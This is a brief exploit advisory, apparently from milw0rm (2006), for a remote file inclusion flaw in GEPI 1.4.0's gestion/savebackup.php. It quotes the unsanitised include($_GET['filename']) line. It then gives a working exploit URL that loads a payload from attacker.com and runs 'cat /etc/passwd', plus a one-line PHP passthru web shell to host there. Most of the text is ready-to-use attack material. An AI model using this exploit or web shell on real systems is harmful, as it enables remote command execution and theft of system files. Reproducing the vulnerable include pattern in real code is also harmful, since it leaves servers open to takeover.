GEPI 1.4.0 - '/gestion/savebackup.php' Remote File Inclusion

Package:- gepi 1.4.0
http://adullact.net/frs/download.php/992/gepi-1.4.0.tar.gz

impact:- highly critical ..System Access..
vulnerable code:-
      include($_GET['filename']);
in gepi/gestion/savebackup.php

Exploit:-
http://localhost/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat
/etc/passwd

in test.txt
<? passthru("$_GET[cmd]");?>

Credits:-
$um$id

# milw0rm.com [2006-10-31]